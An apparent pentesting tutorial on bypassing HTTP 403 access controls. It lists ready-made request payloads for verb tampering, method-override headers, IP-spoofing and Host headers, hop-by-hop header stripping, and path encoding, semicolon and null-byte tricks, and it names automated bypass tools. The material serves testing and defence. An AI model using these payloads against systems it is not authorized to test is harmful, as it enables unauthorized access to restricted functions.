What is the 403
According to https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/403 the 403 code is a client error response indicating the server understood the request but it refused to process it. This status is similar to 401, except that for 403 Forbidden responses, authenticating or re-authenticating makes no difference.
The request failure is tied to application logic, such as insufficient permissions to a resource or action.
Example
We can make the following request
DELETE /users/123 HTTP/1.1
Host: example.com
Authorization: Bearer abcd123
The server has authenticated the request, but the action fails due to insufficient rights and the response body contains a reason for the failure. Usually we would not get a verbose error like below.
HTTP/1.1 403 Forbidden
Date: Tue, 02 Jul 2024 12:56:49 GMT
Content-Type: application/json
Content-Length: 88
{
"error": "InsufficientPermissions",
"message": "Deleting users requires the 'admin' role."
}
Causes
For more details on causes awesome guide here. https://infosecwriteups.com/the-ultimate-guide-to-403-forbidden-bypass-2025-edition-1b2e852e503e
- IP Address Blocks or Whitelists
- Improper Permission Configurations (ACL, IAM)
- User-Agent, Referer or Method Restrictions
- Misconfigured Reverse Proxies (NGINX, Apache)
- File or Directory Permission Issues
- Rate Limiting or Throttling:
- Authentication or Authorization Failures
- Firewall or Security Software Blocks
- Geographical Access Restrictions
Referrer Header
For example access to /admin/settings returned a 403 Forbidden response. However, by modifying the Referer HTTP header, the previously restricted page became accessible. Access control could rely on the value of the referee header.
Referer: https://target.com/admin
Verb Tampering
Access control rules are frequently configured only for specific HTTP methods. Changing the method bypasses the rule entirely because the ACL doesn't cover other verbs.
# GET
GET /admin HTTP/1.1
Host: target.com
# POST
POST /admin HTTP/1.1
Host: target.com
# PUT
PUT /admin HTTP/1.1
Host: target.com
# DELETE
DELETE /admin HTTP/1.1
Host: target.com
# PATCH
PATCH /admin HTTP/1.1
Host: target.com
# OPTIONS
OPTIONS /admin HTTP/1.1
Host: target.com
# HEAD
HEAD /admin HTTP/1.1
Host: target.com
# TRACE
TRACE /admin HTTP/1.1
Host: target.com
# CONNECT
CONNECT /admin HTTP/1.1
Host: target.com
# PROPFIND
PROPFIND /admin HTTP/1.1
# PROPPATCH
PROPPATCH /admin HTTP/1.1
# MKCOL
MKCOL /admin HTTP/1.1
# COPY
COPY /admin HTTP/1.1
# MOVE
MOVE /admin HTTP/1.1
# LOCK
LOCK /admin HTTP/1.1
# UNLOCK
UNLOCK /admin HTTP/1.1
# SEARCH
SEARCH /admin HTTP/1.1
# PURGE
PURGE /admin HTTP/1.1
# LINK
LINK /admin HTTP/1.1
# UNLINK
UNLINK /admin HTTP/1.1
HTTP Method Override Headers
Instead of changing the actual HTTP method, you can tunnel a restricted method inside an allowed one. The firewall/proxy sees POST (allowed), the application framework reads the override header and processes DELETE (restricted). https://www.sidechannel.blog/en/http-method-override-what-it-is-and-how-a-pentester-can-use-it/
Frameworks that support method overrides by default or via common middleware
- Rails
- Laravel
- Symfony
- Spring
- Django REST Framework
- Express.js
POST /admin/user/123 HTTP/1.1
Host: target.com
X-HTTP-Method-Override: DELETE
Content-Length: 0
Then we try to tunnel or add methods like
X-HTTP-Method-Override: DELETE
X-HTTP-Method: PUT
X-Method-Override: PATCH
X-HTTP-Method-Override: TRACE
Using a query
POST /admin/user/123?_method=DELETE HTTP/1.1
Inside the body
POST /admin/user/123 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_method=DELETE
Protocol Version Downgrade
Sending requests using older HTTP versions can bypass 403. Can work on older servers.
# To HTTP/1.0
GET /admin HTTP/1.0
# Send nothing at all
GET /admin
User-Agent fuzzing
Another method is User-Agent fuzzing. Its possible to get access to resources by changing the user agent. Some sites white list search engine crawlers to allow indexing of pages that are blocked for regular users. Or just use real browser.
# Google bot user agent
Googlebot/2.1 (+http://www.google.com/bot.html)
# Real browser
"Mozilla/7.0 (Windows NT 11.0; Win64; x64)"
Host Header fuzzing
Many architectures make access control decisions based on the Host header, when you can manipulate the host header it could result in 403 bypass. Because when an application blindy trusts the header value it might authorize access to for example Host: internal.target.com.
Base-Url: 127.0.0.1
Client-IP: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Host: 127.0.0.1
Proxy-Url: 127.0.0.1
Real-Ip: 127.0.0.1
Redirect: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
Request-Uri: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 443
X-Forwarded-Port: 4443
X-Forwarded-Port: 80
X-Forwarded-Port: 8080
X-Forwarded-Port: 8443
X-Forwarded-Scheme: http
X-Forwarded-Scheme: https
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Host: 127.0.0.1
X-Http-Destinationurl: 127.0.0.1
X-Http-Host-Override: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1
X-Original-Url: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Proxy-Url: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: 127.0.0.1
X-True-IP: 127.0.0.1
We can also try to send 2 duplicate host headers, the backend might pick different ones, some might validate the first, some the second. This is a parser differential in the HTTP spec itself, this is technically invalid according to RFC 7230. However the the RFC does not specify which header should win if duplicates exist.
GET /admin HTTP/1.1
Host: public.target.com
Host: localhost
Or try removing all Host Header, sending request without Host Headers.
Override Headers
Instead of changing Host directly we can also inject override headers that the backend framework reads preferentially:
X-Forwarded-Host: localhost
X-Host: internal.target.com
X-HTTP-Host-Override: admin.target.com
X-Forwarded-Server: localhost
Forwarded: host=localhost
Hop-by-hop header abuse
Nathan Davison's 2019 research showed you can use the Connection header to strip security headers in transit. Sending Connection: close, X-Forwarded-For causes compliant proxies to remove X-Forwarded-For before forwarding, which can make the backend think the request is local. CVE-2022-1388 (F5 BIG-IP, CVSS 9.8) used this to strip auth headers and get RCE. Source: https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers
GET /admin HTTP/1.1
Host: target.com
Connection: close, X-Forwarded-For
X-Forwarded-For: 1.2.3.4
The proxy strips X-Forwarded-For before forwarding. The backend never receives it, and may default to treating the request as coming from localhost or an internal IP.
Connection: close, X-Forwarded-For
Connection: close, X-Real-IP
Connection: close, Authorization
Connection: close, X-Api-Key
Connection: close, X-Forwarded-Host
Connection: close, Cookie
Path fuzzing
When a request is sent it usually goes through 2 systems. Both of these systems parse the URL path, but they may interpret it differently. Again parser differentials.
- Proxy / WAF / CDN (the front system that filters requests)
- Backend server (the actual application)
For example an admin path
/admin
We can modify the path
/admin/
/admin.
/admin..
/admin%2f
The proxy might think it is a different path, while the backend normalizes it back to /admin. So the WAF lets it through and the server handles it normally.
Trailing character injection
/admin/ (trailing slash)
/admin/. (current directory)
/admin/./
/admin..;/ (semicolon trick for Java)
/admin%20 (trailing space)
/admin%09 (trailing tab)
/admin? (empty query string)
/admin?anything=1
/admin# (fragment — usually stripped by browsers but not always by proxies)
/admin\ (backslash — IIS treats as /)
Path traversal normalization
/%2e/admin (URL-encoded dot)
/./admin
/anything/../admin
/admin/../admin
//admin (double slash)
///admin
/;/admin (empty path parameter)
Semicolon path parameters (Java stack killer)
/admin;foo=bar → proxy sees /admin;foo=bar (no ACL match), Tomcat routes to /admin
/admin;.css → proxy thinks it's a CSS file (may skip security rules), backend routes to /admin
/admin;foo=bar/
/.;/admin → Tomcat strips ;, resolves to //admin → /admin
/portal/..;/admin → Nginx sees ..; as a directory name (literal), Tomcat strips ; then resolves .. → traverses up to /admin
/allowed/..;/../admin — chain multiple
Orange Tsai used
/portal/..;/manager/htmlagainst Tomcat behind Nginx to access Tomcat Manager on Amazon's infrastructure, which he chained into full RCE. CVE-2018-11759 (Apache mod_jk) was bypassed with/jkstatus;. Spring Security had to patch path parameter stripping (SEC-1584).
URL encoding chains
# Single encoding:
/%61dmin (%61 = a) → proxy doesn't match /admin, backend decodes to /admin
/ad%6din (%6d = m)
/%2fadmin (%2f = /) → some backends treat as /admin
/admin%2f (encoded trailing slash)
# Double encoding:
/%252fadmin → proxy decodes once to /%2fadmin, backend decodes again to //admin → /admin
/admin%252e → %252e → %2e → .
/%252e%252e/admin → %252e%252e → %2e%2e → .. → traversal
# Overlong UTF-8 (legacy but still hits old IIS/Apache):
%c0%af → / (overlong 2-byte encoding)
%c0%ae → .
%e0%80%af → / (overlong 3-byte)
%c1%9c → \
Special byte injection
\xA0 (non-breaking space)
\x85 (NEL), \xA0
; (path parameter)
Extension and content-type tricks
/admin.json (Rails serves same route regardless of extension)
/admin.css
/admin.html
/admin.php (even on non-PHP backends, may confuse proxy rules)
/admin/ vs /admin (some frameworks route differently)
Adding Accept: application/json header (some apps serve different responses)
/api/v1/admin vs /api/v2/admin (version prefix bypass)
Case Manipulation
/Admin
/ADMIN
/aDmIn
/admin vs /Admin/
Null bytes injection
/admin%00 → C-based parsers truncate at null byte
/admin%00.json → proxy sees a .json request (may skip security), backend truncates at null, serves /admin
/admin%00index.html
Dont blindly fuzz values but understand the stack, understand how it handles paths. Every 403 is enforced by a specific component, and that component has a specific parser with specific behaviors. Understanding the enforcer on proxy/waf level and server level is key.
Tools
| Name | Description | URL |
|---|---|---|
| Laluka | Tool that tests MANY url bypasses to reach a 40X protected page. |
https://github.com/laluka/bypass-url-parser |
| URLFuzzer | Fuzz URLs with all available ASCII characters to identify parser inconsistencies. | https://portswigger.net/bappstore/89f689c69d3840e99d73eacaff3e4a8d |
| 403 Bypasser | Runs with every possible permutation for query-based payloads. | https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122 |
| Bypass 403 | Bypassing 403 and compare responses on verious condition | https://github.com/iamj0ker/bypass-403 |
| Forbidden Buster | Tool designed to automate bypassing HTTP 401 and 403 response code | https://github.com/Sn1r/Forbidden-Buster |
Sources: